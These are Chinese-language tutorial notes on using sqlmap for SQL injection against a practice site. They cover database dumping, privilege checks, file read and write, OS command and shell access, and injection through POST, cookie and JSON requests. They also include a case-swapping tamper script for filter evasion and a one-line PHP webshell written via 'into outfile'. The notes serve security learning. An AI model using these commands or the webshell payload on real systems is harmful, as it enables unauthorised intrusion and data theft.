目录
数据猜解-库表列数据&字典
权限操作-文件&命令&交互式
提交方法-POST&HEAD&JSON
绕过模块-Tamper脚本-使用&开发
分析拓展-代理&调试&指纹&风险&等级
知识点:1、注入工具-SQLMAP-常规猜解&字典配置
2、注入工具-SQLMAP-权限操作&文件命令
3、注入工具-SQLMAP-Tamper&使用&开发
4、注入工具-SQLMAP-调试指纹&风险等级
参考文章:https://www.cnblogs.com/bmjoker/p/9326258.html
数据猜解-库表列数据&字典
测试:http://vulnweb.com/
--current-db
--tables -D ""
--columns -T "" -D ""
--dump -C "" -C "" -T ""
权限操作-文件&命令&交互式
引出权限:--is-dba --privileges
引出文件:
--file-read --file-write --file-dest
引出命令:
--os-cmd= --os-shell --sql-shell
测试:MYSQL高权限注入
查看权限是否是管理员:--is-dba
文件读写:--file-read(文件读取命令,相当于使用load_file函数)
这两个命令一般一起使用:
--file-write 写入本地文件
--file-dest 要写入的文件绝对路径
命令执行:--os-cmd= whoami(需要知道语言及网站绝对路径才行)
然后路径什么一路回车看结果就行
--os-shell(获取系统交互shell,需要知道语言及网站绝对路径才行)
选项默认回车就行
--sql-shell(执行数据库命令,必须要用到select,也可以配合into outfile函数)
select "<?php @eval($_POST[1]);?>" into outfile "xxx/you.php";
提交方法-POST&HEAD&JSON
Post方式注入:--data ""
Cookie方式注入:--cookie ""
Json方式注入:-r 1.txt (推荐,该方法通杀全部提交方式)在txt里要注入的地方加上*号就是告诉工具在这里注入,不加*就是让工具对整个数据包参数进行测试
绕过模块-Tamper脚本-使用&开发
测试:base64注入 有过滤的注入
--tamper=test.py //简单绕过脚本
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
if payload:
payload = payload.replace('SELECT','sElEct')
payload = payload.replace('OR','Or')
payload = payload.replace('AND','And')
payload = payload.replace('SLEEP','SleeP')
payload = payload.replace('ELT','Elt')
return payload
分析拓展-代理&调试&指纹&风险&等级
后期分析调试
-v=(0-6) #详细的等级(0-6)
–proxy “http://xx:xx” #代理注入
打乱默认指纹
--user-agent "" #自定义user-agent
--random-agent #随机user-agent
--delay (设定两个HTTP请求的间隔时间,默认是没有任何间隔)
使用更多的测试
测试Header注入
--level=(1-5) #要执行的测试水平等级(测试深度),默认为1
--risk=(0-3) #测试执行的风险等级,默认为1